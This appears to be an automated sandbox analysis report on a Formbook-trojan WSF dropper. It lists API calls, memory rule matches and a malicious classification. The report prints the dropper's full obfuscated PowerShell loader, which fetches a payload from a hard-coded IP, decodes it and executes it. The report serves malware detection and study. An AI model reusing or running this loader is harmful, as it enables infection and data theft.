Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207735C0 NtCreateMutant,LdrInitializeThunk,	9_2_207735C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772B60 NtClose,LdrInitializeThunk,	9_2_20772B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772C70 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_20772C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_20772DF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20773010 NtOpenDirectoryObject,	9_2_20773010
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20773090 NtSetValueKey,	9_2_20773090
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20774340 NtSetContextThread,	9_2_20774340
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20774650 NtSuspendThread,	9_2_20774650
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207739B0 NtGetContextThread,	9_2_207739B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772AF0 NtWriteFile,	9_2_20772AF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772AD0 NtReadFile,	9_2_20772AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772AB0 NtWaitForSingleObject,	9_2_20772AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772BF0 NtAllocateVirtualMemory,	9_2_20772BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772BE0 NtQueryValueKey,	9_2_20772BE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772BA0 NtEnumerateValueKey,	9_2_20772BA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772B80 NtQueryInformationFile,	9_2_20772B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772C60 NtCreateKey,	9_2_20772C60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772C00 NtQueryInformationProcess,	9_2_20772C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772CF0 NtOpenProcess,	9_2_20772CF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772CC0 NtQueryVirtualMemory,	9_2_20772CC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772CA0 NtQueryInformationToken,	9_2_20772CA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20773D70 NtOpenThread,	9_2_20773D70
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772D30 NtUnmapViewOfSection,	9_2_20772D30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20773D10 NtOpenProcessToken,	9_2_20773D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772D10 NtMapViewOfSection,	9_2_20772D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772D00 NtSetInformationFile,	9_2_20772D00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772DD0 NtDelayExecution,	9_2_20772DD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772DB0 NtEnumerateKey,	9_2_20772DB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772E30 NtWriteVirtualMemory,	9_2_20772E30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772EE0 NtQueueApcThread,	9_2_20772EE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772EA0 NtAdjustPrivilegesToken,	9_2_20772EA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772E80 NtReadVirtualMemory,	9_2_20772E80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772F60 NtCreateProcessEx,	9_2_20772F60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772F30 NtCreateSection,	9_2_20772F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772FE0 NtCreateFile,	9_2_20772FE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772FB0 NtResumeThread,	9_2_20772FB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772FA0 NtQuerySection,	9_2_20772FA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20772F90 NtProtectVirtualMemory,	9_2_20772F90

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F3B196	2_2_00007FF848F3B196
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F3BF42	2_2_00007FF848F3BF42
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00AFF258	5_2_00AFF258
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00AFFB28	5_2_00AFFB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00AF2E3D	5_2_00AF2E3D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00AFEF10	5_2_00AFEF10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F70E9	9_2_207F70E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FF0E0	9_2_207FF0E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EF0CC	9_2_207EF0CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2077516C	9_2_2077516C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C8158	9_2_207C8158
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208001AA	9_2_208001AA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DA118	9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20730100	9_2_20730100
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F81CC	9_2_207F81CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074B1B0	9_2_2074B1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2080B16B	9_2_2080B16B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207452A0	9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FA352	9_2_207FA352
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072D34C	9_2_2072D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F132D	9_2_207F132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208003E6	9_2_208003E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E3F0	9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2078739A	9_2_2078739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731460	9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F2446	9_2_207F2446
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FF43F	9_2_207FF43F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EE4F6	9_2_207EE4F6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F7571	9_2_207F7571
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20800591	9_2_20800591
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740535	9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DD5B0	9_2_207DD5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075C6E0	9_2_2075C6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F16CC	9_2_207F16CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740770	9_2_20740770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20764750	9_2_20764750
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073C7C0	9_2_2073C7C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FF7B0	9_2_207FF7B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20742840	9_2_20742840
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074A840	9_2_2074A840
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AD800	9_2_207AD800
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E8F0	9_2_2076E8F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207438E0	9_2_207438E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207268B8	9_2_207268B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20756962	9_2_20756962
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20749950	9_2_20749950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B950	9_2_2075B950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2080A9A6	9_2_2080A9A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207429A0	9_2_207429A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B3A6C	9_2_207B3A6C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FFA49	9_2_207FFA49
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F7A46	9_2_207F7A46
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EDAC6	9_2_207EDAC6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DDAAC	9_2_207DDAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20785AA0	9_2_20785AA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073EA80	9_2_2073EA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FFB76	9_2_207FFB76
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FAB40	9_2_207FAB40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B5BF0	9_2_207B5BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2077DBF9	9_2_2077DBF9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F6BD7	9_2_207F6BD7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20709B80	9_2_20709B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075FB80	9_2_2075FB80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B9C32	9_2_207B9C32
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740C00	9_2_20740C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20730CF2	9_2_20730CF2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FFCF2	9_2_207FFCF2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0CB5	9_2_207E0CB5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F7D73	9_2_207F7D73
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F1D5A	9_2_207F1D5A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20743D40	9_2_20743D40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074AD00	9_2_2074AD00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073ADE0	9_2_2073ADE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075FDC0	9_2_2075FDC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20758DBF	9_2_20758DBF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20740E59	9_2_20740E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FEE26	9_2_207FEE26
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FEEDB	9_2_207FEEDB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20749EB0	9_2_20749EB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20752E90	9_2_20752E90
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FCE93	9_2_207FCE93
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B4F40	9_2_207B4F40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20760F30	9_2_20760F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20782F28	9_2_20782F28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FFF09	9_2_207FFF09
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074CFE0	9_2_2074CFE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20703FD2	9_2_20703FD2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20703FD5	9_2_20703FD5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20732FC8	9_2_20732FC8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FFFB1	9_2_207FFFB1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741F92	9_2_20741F92

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 20787E54 appears 96 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 207BF290 appears 103 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 2072B970 appears 268 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 20775130 appears 36 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 207AEA12 appears 82 times

Source: Ordine_doc_419024001904.wsf

Initial sample: Strings found which are bigger than 50

Source: amsi32_4320.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4320, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winWSF@21/8@4/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Ballepresseres.Ine

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s40pbzt4.vzk.ps1

Jump to behavior

